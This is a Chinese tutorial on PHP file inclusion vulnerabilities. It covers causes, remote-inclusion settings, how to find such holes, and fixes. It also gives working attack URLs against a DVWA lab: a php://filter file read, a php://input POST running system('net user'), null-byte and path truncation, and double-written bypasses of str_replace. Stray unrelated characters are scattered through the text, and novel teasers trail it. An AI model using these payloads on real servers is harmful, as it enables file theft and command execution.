文件包含漏洞詳解

漏洞原理:程序員開發(fā)web應用程序的時候,未對用戶可控的包含文件進行嚴格過濾锣险,導致攻擊者可構造自己木馬文件被包含膀息,從而執(zhí)行惡意代碼勉痴。漏洞關鍵:包含的文件用戶可控

? ? 文件包含:開發(fā)語言為了更好地使用代碼的重用性秒际,引入了文件包含函數(shù)悬赏,可以通過文件包含函數(shù)將文件包含進來,直接使用包含文件的代碼娄徊。

? ? 產(chǎn)生漏洞的原因:在包含文件時候闽颇,為了靈活包含文件,將被包含文件設置為變量寄锐,通過動態(tài)變量來引入需要包含的文件時兵多,用戶可以對變量的值可控而服務器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞

? ? php文件包含函數(shù):include( )橄仆,include_once( )剩膘,require( ),require_once( )盆顾。其中include( )怠褐,include_once( )當遇到被包含文件的代碼執(zhí)行錯誤時,會給出一個警告椎扬,并繼續(xù)執(zhí)行下面的代碼惫搏。require( )具温,require_once( )當遇到被包含文件的代碼執(zhí)行錯誤時函數(shù)會輸出錯誤信息蚕涤,并終止腳本的運行

漏洞分類:

? ??文件包含支持的協(xié)議:

????????data:text/plain?或?data:text/plain;base64

????????php://input

????????php://filter

????????file://

????????zip://

? ??本地文件包含漏洞:當被包含的文件在服務器本地時,就形成了本地文件包含

? ??遠程文件包含漏洞:當被包含的文件在遠程服務器上時铣猩,就形成了遠程文件包含

? ??????遠程文件包含需要開啟allow_url_include=on 以及allow_url_fopen=on和關閉 magic_quotes_gpc=off

? ??????所包含遠程服務器的文件后綴不能與目標服務器語言相同揖铜。(比如目標服務器是php腳本語言解析的,那么包含的遠程服務器文件后綴不能是php)


常用挖掘方法:

? ? 1. 查看源代碼尋找include(),include_once(),require()和require_once()函數(shù)达皿。

? ? 2.在URL的查詢參數(shù)中尋找類似?page=a.php 天吓, ?home=b.html ,?file=content… 的地方峦椰。

常用攻擊:

? ? ??一個要點:文件包含可以包含任意文件龄寞,即便被包含的文件與當前編程語言無關,甚至為圖片汤功,只要文件被包含物邑,其符合當前腳本語言語法的內(nèi)容都會執(zhí)行,不符合當前腳本語言語法的,會直接將文件內(nèi)容輸出

? ? 1. 文件遍歷讀取色解,從而讀取系統(tǒng)的敏感信息

? ? 2.?上傳帶有木馬的文件如圖片茂嗓,然后包含木馬文件getshell

? ? 3. 通過php協(xié)議包含輸入命令,從而執(zhí)行php命令

? ? 4.包含日志文件


典型攻擊:

? ? 后臺的典型代碼:

? ? ? ?<?php

? ? $filename? = $_GET['filename'];

? ? include($filename);

?????>

? ? 典型攻擊URL:

? ?構造URL:?http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

? ?? 構造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post數(shù)據(jù)為:<?php system('net user');?>


防御&繞過:

? ? 1. 限制本地包含文件只能是php文件

? ??繞過方法1:%00 截斷

  條件:magic_quotes_gpc = Off PHP 版本<5.3.4

  測試:科阎?filename=../../../../../../boot.ini%00

????繞過方法2:路徑長度截斷

  條件:windows下目錄路徑最大長度為256字節(jié)述吸,超出部分將丟棄;

?     ?Linux下目錄最大長度為4096字節(jié)锣笨,超出長度將丟棄

  測試:?filename=text.txt././././. ?或?filename=test.txt.....

? ? 2. 遠程文件包含防御與繞過:

當服務器的php.ini的配置選項allow_url_fopen和allow_url_include為On蝌矛,則include/require函數(shù)式可加載遠程文件的。

? ? 2.1有限制遠程包含繞過

 測試代碼:<?php include($_GET['filename'].".html");?>? 多添加了html后綴错英,到最后遠程包含的文件 一會多一個HTML后綴

問號繞過

  測試:朴读?filename=http://192.168.91.133/FI/php.txt?

#號繞過

  測試:?filenamr=http://192.168.91.133/FI/php.txt%23

可通過%00截斷繞過

  測試:?filename=http://192.168.91.133/FI/php.txt%00

3.str_replace函數(shù)繞過:

使用str_replace函數(shù)是極其不安全的,因為可以使用雙寫繞過替換規(guī)則走趋。

例如:page=hthttp://tp://192.168.0.103/phpinfo.txt時衅金,str_replace函數(shù)會將http://刪除,于是page=http://192.168.0.103/phpinfo.txt簿煌,成功執(zhí)行遠程命令氮唯。

遠程文件包含:http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt

本地文件包含:http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini

4.因為替換的只是“../”、“..\”姨伟,所以對采用絕對路徑的方式包含文件是不會受到任何限制的惩琉。

????絕對路徑不受任何影響

http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

5. fnmatch函數(shù)繞過:

if(!fnmatch("file*",$file)&&$file!="include.php"),當文件既不是"include.php"也不是"file*"(文件名file開頭)時才拋出錯誤,反之意思夺荒,如果文件名符合其中一個條件既可以瞒渠。

構造URL:http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

page=file:///C:/xampp/htdocs/dvwa/php.ini 剛好滿足"file*"(文件名file開頭)所以成功讀取了服務器的配置文件。

修復方法:

????PHP中可使用open_basedir配置限制訪問限制在指定的區(qū)域

????過濾.(點)/(反斜杠)\(斜杠)

? ? 禁止服務器遠程文件包含

好的參考:http://www.reibang.com/p/3514f0fd79f7

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末技扼,一起剝皮案震驚了整個濱河市伍玖,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌剿吻,老刑警劉巖窍箍,帶你破解...
    沈念sama閱讀 222,183評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異丽旅,居然都是意外死亡椰棘,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,850評論 3 399
  • 文/潘曉璐 我一進店門榄笙,熙熙樓的掌柜王于貴愁眉苦臉地迎上來邪狞,“玉大人,你說我怎么就攤上這事茅撞》浚” “怎么了杆逗?”我有些...
    開封第一講書人閱讀 168,766評論 0 361
  • 文/不壞的土叔 我叫張陵,是天一觀的道長鳞疲。 經(jīng)常有香客問我罪郊,道長,這世上最難降的妖魔是什么尚洽? 我笑而不...
    開封第一講書人閱讀 59,854評論 1 299
  • 正文 為了忘掉前任悔橄,我火速辦了婚禮,結果婚禮上腺毫,老公的妹妹穿的比我還像新娘癣疟。我一直安慰自己,他們只是感情好潮酒,可當我...
    茶點故事閱讀 68,871評論 6 398
  • 文/花漫 我一把揭開白布睛挚。 她就那樣靜靜地躺著,像睡著了一般急黎。 火紅的嫁衣襯著肌膚如雪扎狱。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,457評論 1 311
  • 那天勃教,我揣著相機與錄音淤击,去河邊找鬼。 笑死故源,一個胖子當著我的面吹牛污抬,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播绳军,決...
    沈念sama閱讀 40,999評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼印机,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了门驾?” 一聲冷哼從身側(cè)響起射赛,我...
    開封第一講書人閱讀 39,914評論 0 277
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎猎唁,沒想到半個月后咒劲,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體顷蟆,經(jīng)...
    沈念sama閱讀 46,465評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡诫隅,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,543評論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了帐偎。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片逐纬。...
    茶點故事閱讀 40,675評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖削樊,靈堂內(nèi)的尸體忽然破棺而出豁生,到底是詐尸還是另有隱情兔毒,我是刑警寧澤,帶...
    沈念sama閱讀 36,354評論 5 351
  • 正文 年R本政府宣布甸箱,位于F島的核電站育叁,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏芍殖。R本人自食惡果不足惜豪嗽,卻給世界環(huán)境...
    茶點故事閱讀 42,029評論 3 335
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望豌骏。 院中可真熱鬧龟梦,春花似錦、人聲如沸窃躲。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽蒂窒。三九已至躁倒,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間洒琢,已是汗流浹背樱溉。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評論 1 274
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留纬凤,地道東北人福贞。 一個月前我還...
    沈念sama閱讀 49,091評論 3 378
  • 正文 我出身青樓,卻偏偏與公主長得像停士,于是被迫代替她去往敵國和親挖帘。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 45,685評論 2 360